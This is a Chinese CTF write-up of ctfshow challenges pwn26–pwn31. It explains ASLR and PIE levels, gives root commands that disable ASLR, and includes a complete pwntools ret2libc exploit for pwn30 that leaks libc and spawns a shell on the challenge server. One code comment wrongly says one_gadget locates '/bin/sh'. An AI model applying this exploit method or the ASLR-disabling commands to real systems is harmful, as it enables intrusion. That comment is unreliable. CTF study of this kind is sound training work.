目录
1、pwn26
2、pwn27
3、pwn28
4、pwn29
5、pwn30
6、pwn31
1、pwn26
设置好 ASLR 保护参数值即可获得flag
首先我们需要知道什么是 ASLR?
ASLR(Address Space Layout Randomization)是一种操作系统级别的安全功能,它通过在每次程序运行时随机化内存地址的布局,使得攻击者更难以利用内存地址的固定位置进行攻击,ASLR 随机化的内容包括栈、堆、共享库、堆栈和内存映射等。
可以将该文件的值设置为以下几个选项之一来控制 ASLR 的行为:
- 0:关闭 ASLR,内存布局不随机化。
- 1:启用 ASLR,但只有堆和栈是随机化的。
- 2:启用完整的 ASLR,所有内存段(包括堆、栈、共享库等)都是随机化的。
给程序加上可执行权限后运行
提示需要 ASLR 功能的级别为 0 才能得到正确的 flag
使用命令设置 ASLR 的级别 :
echo "0" > /proc/sys/kernel/randomize_va_space
注意这里需要 root 权限
flag is :ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}
2、pwn27
设置好 ASLR 保护参数值即可获得flag
目前等级是 0
flag:ctfshow{0x400687_0x400560_0x603260}
提示说等级为 0 或者 1 都可以,我们将等级设置为 1
echo "1" > /proc/sys/kernel/randomize_va_space
得到:ctfshow{0x400687_0x400560_0x603260}
与前者一致
3、pwn28
设置好 ASLR 保护参数值即可获得flag
经测试,不管 ASLR 等级为多少,flag都是: ctfshow{0x400687_0x400560}
这是在 PIE 保护未开启情况下,函数本身地址未变化
4、pwn29
ASLR 和 PIE开启后
这个保护全开
这里需要改回原来的名字 pwn
flag:ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}
在启用 ASLR(Address Space Layout Randomization)和 PIE(Position Independent Executable)后,系统会随机化内存布局,但是随机化的仅仅是对象的起始地址,而不会随机化对象内部的结构和相对偏移。
5、pwn30
关闭PIE后
程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。
拖进 ida 会发现存在栈溢出,与 pwn25 一样,但是也没有 system 或者 bin/sh
需要按照 pwn25 的方法来,但是我那个库有问题,因此我们避开那个库
exp:
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote("pwn.challenge.ctf.show", "28123")
elf = ELF("./pwn")
offset = 0x88 + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print(hex(puts_addr))
# 计算 libc 的基址
libc = ELF("/home/ctfshow/libc/32bit/libc-2.27.so") # 请替换成你本地 libc 的路径
libc.address = puts_addr - libc.symbols['puts']
print(hex(libc.address))
# 计算 system 函数的地址
system_addr = libc.symbols['system']
# 使用 one_gadget 工具获取 /bin/sh 字符串的地址
# 注意:这是一种快速获取 /bin/sh 字符串地址的方法,不一定适用于所有情况
# 如果没有 one_gadget 工具,可以手动计算 "/bin/sh" 字符串的地址
one_gadget = libc.address + 0x4f2c5 # 根据你的 libc 版本来确定地址
binsh_addr = next(libc.search("/bin/sh"))
# 构造 payload 发送给程序
payload = offset * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)
p.sendline(payload)
p.interactive()
flag:ctfshow{9c68af3e-77ab-4058-80b9-e1dfde194430}
6、pwn31
开启 ASLR 和 PIE 的情况下,仍可能被利用
这个除了 canary 保护没开其他全开
拖进 ida 同样会发现这道题还是存在溢出,并且已经知道 main 函数地址,需要通过计算偏移得到程序本身加载的地址,但是这些对我这种新手来说真的太不友好了,我的建议是先从后面简单的栈溢出开始来,后面再返回来看这些不懂的。